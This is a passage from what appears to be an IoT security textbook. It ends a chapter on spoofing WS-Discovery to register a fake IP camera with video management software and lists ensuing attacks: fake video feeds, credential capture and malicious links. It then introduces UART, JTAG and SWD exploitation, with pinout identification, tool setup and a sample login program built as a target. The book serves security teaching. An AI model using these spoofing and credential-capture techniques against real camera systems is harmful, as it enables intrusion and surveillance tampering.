      udp_socket.sendto(buf, (server_addr, server_port))

Listing 6-6: The main loop, which receives a WS-Discovery Probe message, extracts the MessageID, and sends 
the attacking payload

The script enters an infinite loop in which it listens for WS-Discovery 
Probe messages 1 until we stop it (CTRL-C will exit the loop on Linux). If 
we receive a packet that contains data, we get the sender’s IP address and 
port 2 and save them in the variables server_addr and server_port, respec-
tively. We then check whether the string "Probe" 3 is included inside the 
received packet; if it is, we assume this packet is a WS-Discovery Probe. 
Otherwise, we don’t do anything else with the packet. 

Next, we try to find and extract the UUID from the MessageID XML 
tag without using any part of the XML library (because this would create 
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unnecessary overhead and complicate this simple operation), relying only 
on basic string manipulation 4. We replace the _PROBEUUID_ placeholder 
from Listing 6-3 with the extracted UUID 5 and create a new random 
UUID to replace the _MESSAGE_ID placeholder 6. Then we send the UDP 
packet back to the sender 7. 

Here is an example run of the script against the exacqVision software:

root@kali:~/zeroconf/ws-discovery# python3 exacq-complete.py 
Waiting for WS-Discovery message...

Received from: 192.168.10.169:54374
<?xml version="1.1" encoding="utf-8"?><Envelope xmlns:dn="http://www.onvif.org/ver10/network/
wsdl" xmlns="http://www.w3.org/2003/05/soap-envelope"><Header><wsa:MessageID xmlns:wsa="http://
schemas.xmlsoap.org/ws/2004/08/addressing">urn:uuid:2ed72754-2c2f-4d10-8f50-79d67140d268</
wsa:MessageID><wsa:To xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing">urn:schemas-
xmlsoap-org:ws:2005:04:discovery</wsa:To><wsa:Action xmlns:wsa="http://schemas.xmlsoap.org/
ws/2004/08/addressing">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</wsa:Action></
Header><Body><Probe xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance xmlns:xsd=http://www.
w3.org/2001/XMLSchema xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery"><Types>dn:Network
VideoTransmitter</Types><Scopes /></Probe></Body></Envelope>

Extracted MessageID UUID 2ed72754-2c2f-4d10-8f50-79d67140d268
Sending WS reply to 192.168.10.169:54374

Waiting for WS-Discovery message...

Notice that every time you run the script, the MessageID UUID will be 
different. We leave it as an exercise for you to print the attacking payload 
and verify that same UUID appears in the RelatesTo field inside it.

In the exacqClient interface, our fake camera appears in the list of 
devices, as shown in Figure 6-18.

Figure 6-18: Our fake camera appears on the exacqClient list of IP cameras.

In the next section, we’ll explore what you could accomplish once 
you’ve been registered as a camera.

Crafting WS-Discovery Attacks
What types of attacks can you conduct by abusing this simple discovery 
mechanism? First, you can attack the video management software through 
this vector, because XML parsers are notorious for bugs that lead to 
memory corruption vulnerabilities. Even if the server doesn’t have any 
other exposed listening port, you could feed it malformed input through 
WS-Discovery. 
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A second attack would have two steps. First, cause a denial of service 
on a real IP camera so it loses connection to the video server. Second, send 
WS-Discovery information that makes your fake camera look like the legiti-
mate, disconnected one. In that case, you might be able to fool the server’s 
operator into adding the fake camera to the list of cameras that the server 
manages. Once added, you can feed the server with artificial video input. 

In fact, in some cases you could carry out the previous attack without 
even causing a denial of service in the real IP camera. You’d just have to 
send the WS-Discovery Probe Match response to the video server before the 
real camera sends it. In that case, and assuming the information is identical 
or similar enough (replicating the Name, Type, and Model fields from the 
real camera is enough most times), the real camera won’t even appear in 
the management software if you’ve successfully taken its place.

Third, if the video software uses an insecure authentication to the IP 
camera (for example, HTTP basic authentication), it’s possible to capture 
the credentials. An operator who adds your fake camera will type in the 
same username and password as the original one. In that case, you might 
be able to capture the credentials as the server attempts to authenticate 
against what it assumes is the real one. Because password reuse is a com-
mon problem, it’s likely that other cameras on the network use the same 
password, especially if they’re of the same model or vendor.

A fourth attack could be to include malicious URLs in the WS-Discovery 
Match Probe’s fields. In some cases, the Match Probe is displayed to the user, 
and the operator might be tempted to visit the links. 

Additionally, the WS-Discovery standard includes a provision for 
“Discovery Proxies.” These are essentially web servers that you could lever-
age to operate WS-Discovery remotely, even across the internet. This means 
that the attacks described here could potentially take place without the 
adversary being positioned on the same local network.

Conclusion
In this chapter, we analyzed UPnP, WS-Discovery, and mDNS and DNS-SD, 
all of which are common zero-configuration network protocols in IoT eco-
systems. We described how to attack an insecure UPnP server on OpenWrt 
to punch holes in the firewall, and then discussed how to exploit UPnP over 
WAN interfaces. Next, we analyzed how mDNS and DNS-SD work and how 
you can abuse them, and we built an mDNS poisoner in Python. Then we 
inspected WS-Discovery and how to exploit it to conduct a variety of attacks 
on IP camera management servers. Almost all of these attacks rely on the 
inherent trust that these protocols put on participants in the local network, 
favoring automation over security. 





PART III
H A R D W A R E  H A C K I N G





If you understand the protocols that 
interact directly with a system’s electronic 

components, you can target IoT devices at 
the physical level. The Universal Asynchronous 

Receiver-Transmitter (UART) is one of the simplest 
serial protocols, and its exploitation provides one of 
the easiest ways to gain access to IoT devices. Vendors 
typically use it for debugging, which means that you  
can often obtain root access through it. To accomplish this, you’ll need 
some specialized hardware tools; for instance, it’s common for attackers to 
identify the UART pins on a device’s printed circuit board (PCB) using a 
multimeter or logic analyzer. They then connect a USB-to-serial adapter to 
these pins and open a serial debug console from the attacking workstation. 
Most of the time, if you do this, you’ll be dropped to a root shell. 

The Joint Test Action Group (JTAG) is an industry standard (defined in IEEE 
1491.1) for debugging and testing increasingly complex PCBs. JTAG interfaces 
on embedded devices allow us to read and write memory contents, including 

7
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dumping the entire firmware, which means it serves as a way to gain complete 
control of a target device. Serial Wire Debug (SWD) is a very similar, even sim-
pler electrical interface than JTAG that we’ll examine here as well.

We spend most of this chapter walking through a lengthy practical 
exercise; you’ll program, debug, and exploit a microcontroller to bypass its 
authentication process using UART and SWD. But first we explain the inner 
workings of these protocols and show you how to identify UART and JTAG 
pinouts on a PCB using hardware and software tools. 

UART
UART is a serial protocol, which means it transfers data between compo-
nents one bit at a time. In contrast, parallel communication protocols transmit 
data simultaneously through multiple channels. Common serial protocols 
include RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express, and USB. 

UART is simpler than many of the protocols you’ve likely encountered. 
To synchronize communications, the UART transmitter and receiver must 
agree on a specific baud rate (the rate of bits transmitted per second). 
Figure 7-1 shows the UART packet format.

Idle

Start Stop

Parity bit
(optional)Data message

0 1 2 3 4 5 6 7 P

Figure 7-1: UART packet format

Generally, the line is held high (at a logical 1 value) while UART is in 
the idle state. Then, to signal the start of a data transfer, the transmitter 
sends a start bit to the receiver, during which the signal is held low (at a logi-
cal 0 value). Next, the transmitter sends five to eight data bits containing the 
actual message, followed by an optional parity bit and one or two stop bits 
(with a logical 1 value), depending on the configuration. The parity bit, used 
for error checking, is rarely seen in practice. The stop bit (or bits) signify the 
end of transmission. 

We call the most common configuration 8N1: eight data bits, no par-
ity, and one stop bit. For example, if we wanted to send the character C, or 
0x43 in ASCII, in an 8N1 UART configuration, we would send the following 
bits: 0 (the start bit); 0, 1, 0, 0, 0, 0, 1, 1 (the value of 0x43 in binary), and 0 
(the stop bit). 

Hardware Tools for Communicating with UART
You can use a variety of hardware tools to communicate with UART. One easy 
option is a USB-to-serial adapter, like the one we use in “Hacking a Device 
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Through UART and SWD” on page 168. Other options include adapters 
with the CP2102 or PL2303 chips. If you are new to hardware hacking, we rec-
ommend getting a multipurpose tool that supports protocols other than just 
UART, such as the Bus Pirate, the Adafruit FT232H, the Shikra, or the Attify 
Badge. 

You can also find a list of tools and their descriptions, as well as links to 
buy them, in “Tools for IoT Hacking” at the end of this book.

Identifying UART Ports
To exploit a device through UART, you first need to locate its four UART 
ports, or connectors, which typically come in the form of pins or pads (plated 
holes). The term pinout refers to the diagram of all the ports. We’ll use these 
terms interchangeably throughout this book. A UART pinout has four ports: 
TX (Transmit), RX (Receive), Vcc (Voltage), and GND (Ground). Start by opening 
the device’s external case and removing the PCB. Be warned that this might 
void your warranty. 

These four ports often appear next to each other on the board. If 
you’re lucky, you might even find markings that indicate the TX and RX 
ports, as shown in Figure 7-2. In that case, you can be fairly certain that the 
set of four pins are the UART pins. 

Figure 7-2: UART pins clearly marked as DBG_TXD and DBG_RXD on the PCB in a 
St. Jude/Abbott Medical Merlin@home Transmitter 

In other cases, you might see four through-hole pads next to each 
other, like those in the TP-Link router in Figure 7-3. This might occur 
because vendors have removed the UART header pins from the PCB, which 
means that you might have to either perform some soldering to reach them 
or use test probes. (Test probes are physical devices that connect electronic 
test equipment to a device. They include a probe, cable, and terminating 
connector. We show a few examples of test probes in Chapter 8.) 
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Figure 7-3: A PCB in a TP-Link TL WR840N router. On the bottom left, you can see a 
zoomed-in part of the PCB with the UART pads.

Also, keep in mind that some devices emulate UART ports by program-
ming the General-Purpose Input/Output (GPIO) pins if there isn’t enough 
space on the board for dedicated hardware UART pins. 

When UART pins aren’t marked as clearly as those shown here, you can 
typically identify them on a device in two ways: by using a multimeter or 
by using a logic analyzer. A multimeter measures voltage, current, and resis-
tance. Having a multimeter in your arsenal when doing hardware hacking is 
highly important, because it can serve a variety of purposes. For example, we 
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commonly use it to test for continuity. A continuity test sounds a buzzer when a 
circuit’s resistance is low enough (less than a few ohms), indicating that there’s 
a continuous path between the two points probed by the multimeter’s leads. 

Although a cheap multimeter will do the job, we recommend that you 
invest in a robust and precise multimeter, if you plan to delve deeper into 
hardware hacking. True RMS multimeters are more accurate for measuring 
AC currents. Figure 7-4 shows a typical multimeter.

Continuity test

COM jack (GND)

VΩ jack

Figure 7-4: Common multimeter. Highlighted is the Continuity Test mode, which typically has an icon that 
looks like a sound wave (because of the buzzer that sounds when detecting continuity).

To identify UART pinouts using a multimeter, start by making sure the 
device is powered off. By convention, you should connect a black test lead to 
the multimeter’s COM jack. Insert a red lead in the VΩ jack. 

Begin by identifying the UART GND. Turn the multimeter dial to the 
Continuity Test mode, which typically has an icon that looks like a sound 
wave. It might share a spot on the dial with one or more functions, usually 
resistance. Place the other end of the black lead on any grounded metallic 
surface (an area that has a direct conductive path to earth), be it a part of 
the tested PCB or not. 
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Then place the red probe on each of the ports you suspect might be 
part of the UART pinout. When you hear a beeping sound from the multi-
meter, you’ve found a GND pin. Keep in mind that the device might have 
more than one GND pin and you might have found one that isn’t necessar-
ily part of the UART pinout. 

Continue by identifying the Vcc port. Turn the multimeter dial to the 
DC voltage mode in and set it up to 20 V of voltage. Keep the multimeter’s 
black probe on a grounded surface. Place the red probe in a suspected pad 
and turn on the device. If the multimeter measures a constant voltage of 
either 3.3 V or 5 V, you’ve found the Vcc pin. If you get other voltages, place 
the red probe on another port, reboot the device, and measure the voltage 
again. Do the same for every port until you identify Vcc.

Next, identify the TX port. Keep the multimeter mode at a DC voltage 
of 20 V or less, and leave the black probe in a grounded surface. Move the 
red probe to the suspected pad and power cycle the device. If the voltage 
fluctuates for a few seconds and then stabilizes at the Vcc value (either 3.3 
or 5), you’ve most likely found the TX port. This behavior happens because, 
during bootup, the device sends serial data through that TX port for debug-
ging purposes. Once it finishes booting, the UART line goes idle. Recall 
from Figure 7-1 that an idle UART line remains at a logical high, which 
means that it has the Vcc value.

If you’ve already identified the rest of the UART ports, the nearby fourth 
pin is most likely the RX port. Otherwise, you can identify it because it has 
the lowest voltage fluctuation and lowest overall value of all the UART pins.

W A R N I N G 	 It’s not a big deal if you confuse the UART RX and TX ports with each other, because 
you can easily swap the wires connecting to them without any consequences. But con-
fusing the Vcc with the GND and connecting wires to them incorrectly might fry the 
circuit. 

To identify the UART pins more accurately, use a logic analyzer, a device 
that captures and displays signals from a digital system. Many kinds of logic 
analyzers are available. They range from cheaper ones, such as the HiLetgo 
or the Open Workbench Logic Sniffer, to the more professional Saleae fam-
ily (Figure 7-5), which support higher sampler rates and are more robust. 

We’ll walk through the process of using a logic analyzer against a target 
device in “Using a Logic Analyzer to Identify the UART Pins” on page 176.

Identifying the UART Baud Rate
Next, you have to identify the baud rate the UART ports use. Otherwise, 
you can’t communicate with the device. Given the absence of a synchroniz-
ing clock, the baud rate is the only way for the transmitter and receiver to 
exchange data in sync. 
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Figure 7-5: Saleae is a family of professional logic analyzers.

The easiest way to identify the correct baud rate is to look at the TX pin’s 
output and try to read the data. If the data you receive isn’t readable, switch 
to the next possible baud rate until the data becomes readable. You can use 
a USB-to-serial adapter or a multipurpose device like Bus Pirate to do this, 
paired with a helper script, such as baudrate.py (https://github.com/devttys0/ 
baudrate/) by Craig Heffner, to help automate this process. The most com-
mon baud rates are 9600, 38400, 19200, 57600, and 115200, all of which 
Heffner’s Python script tests by default.

JTAG and SWD
Like UART, the JTAG and SWD interfaces on IoT embedded devices can 
serve as a way to gain control of a device. In this section, we’ll cover the 
basics of these interfaces and how you can communicate with them. In 
“Hacking a Device Through UART and SWD” on page 168, we’ll walk 
through a detailed example of interacting with SWD.

https://github.com/devttys0/baudrate/
https://github.com/devttys0/baudrate/
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JTAG
As manufacturers started producing smaller, denser components, testing 
them efficiently became harder. Engineers used to test hardware for defects 
using a bed of nails process, in which they placed the board on a number of 
fixtures arranged to mate with various parts of the board. When manufac-
turers began using multilayer boards and ball grid array packages, the fix-
tures could no longer access all nodes on the board. 

JTAG solved this problem by introducing a more effective alternative to 
the bed of nails test: the boundary scan. The boundary scan analyzes certain 
circuitry, including embedded boundary-scan cells and registers for each 
pin. By leveraging these boundary scan cells, engineers can test that a cer-
tain point on the circuit board correctly connects to another point more 
easily than they could before. 

Boundary Scan Commands

The JTAG standard defines specific commands for conducting boundary 
scans, including the following:

•	 BYPASS allows you to test a specific chip without the overhead of pass-
ing through other chips. 

•	 SAMPLE/PRELOAD takes a sample of the data entering and leaving the 
device when it’s in its normal functioning mode.

•	 EXTEST sets and reads pin states.

The device must support these commands to be considered JTAG com-
pliant. Devices might also support optional commands, like IDCODE (for 
identifying a device) and INTEST (for the internal testing of the device), 
among others. You might come across these instructions when you use a 
tool like the JTAGulator (described later in "Identifying JTAG pins" on 
page 166) for identifying JTAG pins.

The Test Access Port

Boundary scans include tests of the four-wire Test Access Port (TAP), a general-
purpose port that provides access to the JTAG test support functions built 
into a component. It uses a 16-stage finite state machine that moves from 
state to state. Note that JTAG doesn’t define any protocol for the data com-
ing in or out of the chip. 

TAP uses the following five signals:

Test clock input (TCK)    The TCK is the clock that defines how often 
the TAP controller will take a single action (in other words, jump to the 
next state in the state machine). The clock’s speed isn’t specified by the 
JTAG standard. The device performing the JTAG test can determine it. 

Test mode select (TMS) input     TMS controls the finite state 
machine. On each beat of the clock, the device’s JTAG TAP controller 
checks the voltage on the TMS pin. If the voltage is below a certain 
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threshold, the signal is considered low and interpreted as 0, whereas if 
the voltage is above a certain threshold, the signal is considered high 
and interpreted as 1.

Test data input (TDI)    TDI is the pin that sends data into the chip 
through the scan cells. Each vendor is responsible for defining the com-
munication protocol over this pin, because JTAG doesn’t define this. 
The signal presented at TDI is sampled on the rising edge of TCK.

Test data output (TDO)    TDO is the pin that sends data out of the 
chip. According to the standard, changes in the state of the signal 
driven through TDO should occur only on the falling edge of TCK.

Test reset (TRST) input    The optional TRST resets the finite state 
machine to a known good state. It’s active on low (0). Alternatively, 
if the TMS is held at 1 for five consecutive clock cycles, it invokes a 
reset, the same way the TRST pin would, which is why TRST is optional. 

How SWD Works
SWD is a two-pin electrical interface that works very similarly to JTAG. 
Whereas JTAG was made primarily for chip and board testing, SWD is an 
ARM-specific protocol designed for debugging. Given the large prevalence 
of ARM processors in the IoT world, SWD has become increasingly impor-
tant. If you find an SWD interface, you can almost always gain complete 
control of the device. 

The SWD interface requires two pins: a bidirectional SWDIO signal, 
which is the equivalent of JTAG’s TDI and TDO pins and a clock, and 
SWCLK, which is the equivalent of TCK in JTAG. Many devices support the 
Serial Wire or JTAG Debug Port (SWJ-DP), a combined JTAG and SWD inter-
face that enables you to connect either a SWD or JTAG probe to the target. 

Hardware Tools for Communicating with JTAG and SWD
A variety of tools allow us to communicate with JTAG and SWD. Popular 
tools include the Bus Blaster FT2232H chip, as well as any tool with the 
FT232H chip, such as the Adafruit FT232H breakout board, the Shikra, or 
the Attify Badge. The Bus Pirate can also support JTAG if you load it with 
special firmware, but we don’t recommend using that functionality because 
it can be unstable. The Black Magic Probe, a specialized tool for JTAG and 
SWD hacking, has built-in GNU Debugger (GDB) support, which is use-
ful because you won’t need intermediary programs like the Open On-Chip 
Debugger (OpenOCD) (discussed in “Installing OpenOCD” on page 171). 
A professional debugging tool, the Segger J-Link Debug Probe supports JTAG, 
SWD, and even SPI, and it comes with proprietary software. If you want to 
communicate with SWD only, you can use a tool like the ST-Link program-
mer, which we’ll use later in this chapter in “Hacking a Device Through 
UART and SWD” on page 168. 

You can find additional tools, their descriptions, and links in “Tools for 
IoT Hacking.”



166   Chapter 7

Identifying JTAG Pins
Sometimes a PCB has markings indicating the location of a JTAG header 
(Figure 7-6). But most times you’ll have to manually identify the header, as 
well as which pins correspond to the four signals (TDI, TDO, TCK, and TMS). 

Figure 7-6: Sometimes the JTAG header is clearly marked on the PCB, as in this mobile Point 
of Sale (POS) device, where even the individual JTAG pins are labeled (TMS, TDO, TDI, TCK).

You can take several approaches to identify JTAG pins on a target 
device. The fastest but most expensive way to detect JTAG ports is by using 
the JTAGulator, a device created specifically for this purpose (although 
it can also detect UART pinouts). The tool, shown in Figure 7-7, has 24 
channels that you can connect to a board’s pins. It performs a brute force 
of these pins by issuing the IDCODE and BYPASS boundary scan com-
mands to every permutation of pins and waits for a response. If it receives a 
response, it displays the channel corresponding to each JTAG signal, allow-
ing you to identify the JTAG pinout.

Figure 7-7: The JTAGulator (http://www.grandideastudio.com/jtagulator/) can help you 
identify JTAG pins on a target device.

http://www.grandideastudio.com/jtagulator/
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To use the JTAGulator, connect it to your computer with a USB cable 
and then communicate with it over serial (for example, using the screen util-
ity on Linux). You’ll see an example of interfacing over serial later in this 
chapter in “Connecting the USB to a Serial Adapter” on page 178. You 
can watch a demonstration of the JTAGulator by its creator, Joe Grand, at 
https://www.youtube.com/watch?v=uVIsbXzQOIU/.

A cheaper but much slower way of identifying JTAG pinouts is by using 
the JTAGenum utility (https://github.com/cyphunk/JTAGenum/) loaded on an 
Arduino-compatible microcontroller, like the STM32F103 blue and black pill 
devices we’ll attack later in this chapter in “Hacking a Device Through UART 
and SWD” on page 168. Using JTAGenum, you’d first define the pins of 
the probing device that you’ll use for the enumeration. For example, for the 
STM32 blue pill, we’ve selected the following pins (but you can change them):

#elif defined(STM32)       // STM32 bluepill, 
 byte       pins[] = {  10 ,  11 ,  12 ,  13 ,  14 ,  15 ,  16 ,  17, 18 , 19 , 21 , 22  };

You’d have to reference the device’s pinout diagram, and then connect 
these pins with the test points on your target device. Then you’ll have to 
flash the JTAGenum Arduino code (https://github.com/cyphunk/JTAGenum/
blob/master/JTAGenum.ino/) on the device and communicate with it over 
serial (the s command will scan for JTAG combinations).

A third way to identify JTAG pins is by inspecting the PCB for one of 
the pinouts shown in Figure 7-8. In some cases, PCBs might conveniently 
provide the Tag-Connect interface, which is a clear indication that the board 
has a JTAG connector, too. You can see what that interface looks like at 
https://www.tag-connect.com/info/. Additionally, inspecting the datasheets of 
the chipsets on the PCB might reveal pinout diagrams that point to JTAG 
interfaces. 

Figure 7-8: Finding any of these pin interfaces in the PCB, depending on the manufacturer 
(ARM, STMicroelectronics, or Infineon for OCDS), would be a good indication that you’re 
dealing with a JTAG connector.

https://www.youtube.com/watch?v=uVIsbXzQOIU/
https://github.com/cyphunk/JTAGenum/
https://github.com/cyphunk/JTAGenum/blob/master/JTAGenum.ino/
https://github.com/cyphunk/JTAGenum/blob/master/JTAGenum.ino/
https://www.tag-connect.com/info/
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Hacking a Device Through UART and SWD
In this section, we’ll exploit a microcontroller’s UART and SWD ports to 
retrieve the device memory and bypass the flashed program’s authentica-
tion routine. To attack the device, we’ll use two tools: a mini ST-Link pro-
grammer and a USB-to-serial adapter.

The mini ST-Link programmer (Figure 7-9) lets us interact with our target 
device through SWD. 

Figure 7-9: The mini ST-Link V2 programmer lets us interact with STM32 cores  
through SWD.

The USB-to-serial adapter (Figure 7-10) lets us communicate with the 
device’s UART pins through our computer’s USB port. This adapter is a 
transistor-transistor logic (TTL) device, which means it uses currents of 0 and 
5 volts to represent the values 0 and 1, respectively. Many adapters use the 
FT232R chip, and you can easily find one if you search for USB-to-serial 
adapters online.

Figure 7-10: A USB-to-serial (TTL) adapter. This one can also switch between 5 V and 
3.3 V.
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You’ll need a minimum of ten jumper wires to connect the devices by 
their pins. We also recommend getting a breadboard, which is a construction 
base that you can use to hold the black pill steady. You should be able to 
purchase these hardware components online. We specifically selected the 
components used here because they’re easy to find and inexpensive. But if 
you wanted an alternative to the ST-Link programmer, you could use the 
Bus Blaster, and as an alternative to the USB-to-serial adapter, you could 
use the Bus Pirate. 

As for the software, we’ll use Arduino to code the authentication 
program we’ll attack; we’ll use OpenOCD with GDB for debugging. The 
following sections show you how to set up this testing and debugging 
environment.

The STM32F103C8T6 (Black Pill) Target Device
The STM32F103xx is a very popular, inexpensive microcontroller fam-
ily used in a large variety of applications in the industrial, medical, and 
consumer markets. It has an ARM Cortex-M3 32-bit RISC core operating 
at 72 MHz frequency, a flash memory of up to 1MB, static random-access 
memory (SRAM) of up to 96KB, and an extensive range of I/Os and 
peripherals.

The two versions of this device are known as the blue pill and the black 
pill (based on the board’s color). We’ll use the black pill (STM32F103C8T6) 
as our target device. The main difference between the two versions is that 
the black pill consumes less energy and is sturdier than the blue pill. You 
can easily order it online. We recommend getting a board that has presol-
dered headers and the Arduino bootloader flashed. That way, you won’t 
have to solder the headers and you’ll be able to use the device directly 
through USB. But in this exercise, we’ll show you how to load a program to 
the black pill without the Arduino bootloader. 

W A R N I N G 	 We chose the black pill because we came across some issues when using the blue pill 
with the UART interface, so we strongly advise you to use it instead of the cheaper 
blue pill. 

Figure 7-11 shows the device’s pinout diagram. Notice that although 
some pins are 5 V-resistant, others aren’t; so we’ll have to send them no 
more than 3.3 V. If you’re interested in learning more about the internals of 
the STM32 microcontroller in general, you can find a very good reference 
at https://legacy.cs.indiana.edu/~geobrown/book.pdf.

Make sure you don’t connect any 5 V output to any of the black pill’s 
3.3 V pins, or you’ll most likely burn them.

https://legacy.cs.indiana.edu/~geobrown/book.pdf
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Figure 7-11: STM32F103C8T6 (black pill) pinout diagram

Setting Up the Debugging Environment 
We’ll start by programming our target device using the Arduino Integrated 
Development Environment (IDE). The Arduino is an inexpensive, easy-to-use, 
open source electronics platform that lets you program microcontrollers 
using its Arduino programming language. Its IDE contains a text editor for 
writing code; a board and library manager; built-in functionality for verify-
ing, compiling, and uploading the code to an Arduino board; and a serial 
monitor to display output from the hardware. 

Installing the Arduino Environment

You can get the latest version of the Arduino IDE at https://www.arduino.cc/
en/Main/Software/. For this demonstration, we’ll use version 1.8.9 on Ubuntu 
18.04.3 LTS, but the operating system you use won’t matter. On Linux, down-
load the package manually and follow the instructions at https://www.arduino 
.cc/en/guide/linux/. Alternatively, if you’re using a Debian-based distribution, 
such as Kali or Ubuntu, you can enter the following command in a terminal 
to install everything you’ll need:

# apt-get install arduino

https://www.arduino.cc/en/Main/Software/
https://www.arduino.cc/en/Main/Software/
https://www.arduino.cc/en/guide/linux/
https://www.arduino.cc/en/guide/linux/


UART, JTAG, and SWD Exploitation   171

After installing the IDE, download the latest Arduino STM32 core files 
from GitHub, install them in the hardware folder in the Arduino sketches 
directory, and run the udev rules installation script.

$ wget https://github.com/rogerclarkmelbourne/Arduino_STM32/archive/master.zip
$ unzip master.zip
$ cp -r Arduino_STM32-master /home/ithilgore/Arduino/hardware/
$ cd /home/ithilgore/Arduino/hardware/Arduino_STM 32-master/tools/linux
$ ./install.sh

Make sure you replace the username after /home/ with your own username.
If the hardware folder doesn’t exist, create it. To discover where the 

Arduino sketches are saved, run the Arduino IDE by entering arduino 
in a terminal or clicking the Arduino icon on your Desktop. Then click 
FilePreferences and note the Sketchbook location file path. In this 
example, it’s /home/<ithilgore>/Arduino. 

You’ll also need to install the 32-bit version of libusb-1.0 as follows because 
the st-link utility that comes bundled with the Arduino STM32 relies on it:

$ sudo apt-get install libusb-1.0-0:i386

In addition, install the Arduino SAM boards (Cortex-M3). These are the 
cores for the Cortex-M3 microcontroller. Cores are low-level APIs that make 
specific microcontrollers compatible with your Arduino IDE. You can install 
these inside the Arduino IDE by clicking ToolsBoardBoards Manager. 
Then search for SAM Boards. Click Install on the Arduino SAM Boards 
(32-bits ARM Cortex-M3) option that should appear. We used version 1.6.12. 

You can also find the latest installation instructions for Arduino STM32 
at https://github.com/rogerclarkmelbourne/Arduino_STM32/wiki/Installation/.

Installing OpenOCD

OpenOCD is a free and open source testing tool that provides JTAG and 
SWD access through GDB to ARM, MIPS, and RISC-V systems. We’ll use it 
to debug the black pill. To install it in your Linux system, enter the follow-
ing commands:

$ sudo apt-get install libtool autoconf texinfo libusb-dev libftdi-dev libusb-1.0
$ git clone git://git.code.sf.net/p/openocd/code openocd
$ cd openocd
$ ./bootstrap
$ ./configure --enable-maintainer-mode --disable-werror --enable-buspirate --enable-ftdi 
$ make
$ sudo make install

Notice that you also install libusb-1.0, which you’ll need to enable sup-
port for Future Technology Devices International (FTDI) devices. Then 
compile OpenOCD from the source. This allows us to enable support for 
FTDI devices and the Bus Pirate tool. 

https://github.com/rogerclarkmelbourne/Arduino_STM32/wiki/Installation/
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To learn more about OpenOCD, consult its extensive user guide at 
http://openocd.org/doc/html/index.html.

Installing the GNU Debugger

GDB is a portable debugger that runs on Unix-like systems. It supports 
many target processors and programming languages. We’ll use GDB to 
remotely trace and alter the target program’s execution.

On Ubuntu, you’ll have to install the original gdb and gdb-multiarch, 
which extends GDB support for multiple target architectures, including 
ARM (the black pill’s architecture). You can do so by entering the following 
in a terminal:

$ sudo apt install gdb gdb-multiarch

Coding a Target Program in Arduino
Now we’ll write a program in Arduino that we’ll load onto the black pill and 
target for exploitation. In an actual test, you might not have access to the 
device’s source code, but we’re showing it to you for two reasons. First, you’ll 
learn how Arduino code gets translated to a binary that you can upload 
onto the device. Second, when we perform debugging with OpenOCD and 
GDB, you’ll get to see how the assembly code corresponds to the original 
source code. 

The program (Listing 7-1) uses the serial interface to send and receive 
data. It emulates an authentication process by checking for a password. 
If it receives the right password from the user, it prints ACCESS GRANTED. 
Otherwise, it keeps prompting the user to log in.  

const byte bufsiz = 32; 1
char buf[bufsiz];
boolean new_data = false;
boolean start = true;

void setup() { 2
  delay(3000);
  Serial1.begin(9600);
}

void loop() { 3
  if (start == true) {
    Serial1.print("Login: ");
    start = false;
  }
  recv_data();
  if (new_data == true)
    validate();
}

void recv_data() { 4
  static byte i = 0;

http://openocd.org/doc/html/index.html
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  static char last_char;
  char end1 = '\n';
  char end2 = '\r';
  char rc;
    
  while (Serial1.available() > 0 && new_data == false) { 5
    rc = Serial1.read();       
    // skip next character if previous one was \r or \n and this one is \r or \n
    if ((rc == end1 || rc == end2) && (last_char == end2 || last_char == end1)) 6
      return;
    last_char = rc;

    if (rc != end1 && rc != end2) { 7
      buf[i++] = rc;
      if (i >= bufsiz)
        i = bufsiz - 1;
    } else { 8       
      buf[i] = '\0'; // terminate the string
      i = 0;
      new_data = true;       
    }
  } 
}

void validate() { 9
  Serial1.println(buf);
  new_data = false;
  if (strcmp(buf, "sock-raw.org") == 0) a
    Serial1.println("ACCESS GRANTED");
  else {
    Serial1.println("Access Denied.");
    Serial1.print("Login: ");
  }
}

Listing 7-1: A serial communication program in Arduino for the STM32F103 chip

We begin by defining four global variables 1. The bufsiz variable holds 
the number of bytes for the character array buf, which stores the bytes com-
ing through the serial port from the user or device interacting with the 
port. The new_data variable is a boolean that becomes true every time the 
main program loop receives a new line of serial data. The boolean variable 
start is true only upon the first iteration of the main loop, so it prints the 
first “Login” prompt. 

The setup() function 2 is a built-in Arduino function that gets executed 
once when the program initializes. Inside this function, we initialize the serial 
interface (Serial1.begin) with a baud rate of 9600 bits per second. Note that 
Serial1 is different from Serial, Serial2, and Serial3, each of which corresponds 
to different UART pins on the black pill. The object Serial1 corresponds to 
pins A9 and A10. 

The loop() function 3 is another built-in Arduino function that gets 
called automatically after setup(), looping consecutively and executing 
the main program. It continuously calls recv_data(), which is responsible 
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for receiving and validating serial data. When the program has finished 
receiving all bytes (which happens when new_data becomes true), loop() calls 
validate(), which checks whether the received bytes constitute the correct 
passphrase. 

The recv_data() function 4 begins by defining two static variables 
(which means their value will be retained between every call of this func-
tion): i for iterating through the buf array and last_char for storing the last 
character we read from the serial port. The while loop 5 checks whether 
there are any bytes available for reading from the serial port (through 
Serial1.available), reads the next available byte with Serial1.read, and 
checks whether the previously stored character (which is held in last_char) 
is a carriage return ‘\r’ or new line ‘\n’ 6. It does that so it can deal with 
devices that send a carriage return, new line, or both to terminate their 
lines when they send serial data. If the next byte doesn’t indicate the end 
of the line 7, we store the newly read byte rc in buf and increment the i 
counter by one. If i reaches the end of the buffer length, the program no 
longer stores any new bytes in the buffer. If the read byte signifies the end 
of the line 8, meaning the user on the serial interface most likely pressed 
ENTER, we null terminate the string in the array, reset the i counter, and 
set new_data to true.

In that case, we call the validate() function 9, which prints the received 
line and compares it with the correct password a. If the password is correct, 
it prints ACCESS GRANTED. Otherwise, it prints Access Denied and prompts the 
user to try logging in again.

Flashing and Running the Arduino Program
Now upload the Arduino program to the black pill. This process varies 
slightly depending on whether or not you purchased the black pill with 
the Arduino bootloader preflashed, but we’ll walk through both methods. 
You could also upload the program using a third method: a serial adapter, 
which allows you to flash your own bootloader (such as https://github.com/
rogerclarkmelbourne/STM32duino-bootloader/), but we won’t cover this process 
here; you’ll find multiple resources online for doing this.

Either way, we’ll use the ST-Link programmer and write the program 
to the main flash memory. Alternatively, you could write it to the embed-
ded SRAM if you encounter any problems with writing it to flash. The main 
problem with that approach is that you’ll have to reupload the Arduino pro-
gram every time you power cycle the device, because the SRAM content is 
volatile, which means it gets lost every time you power off the device.

Selecting the Boot Mode

To make sure you upload the program to the black pill’s flash memory, 
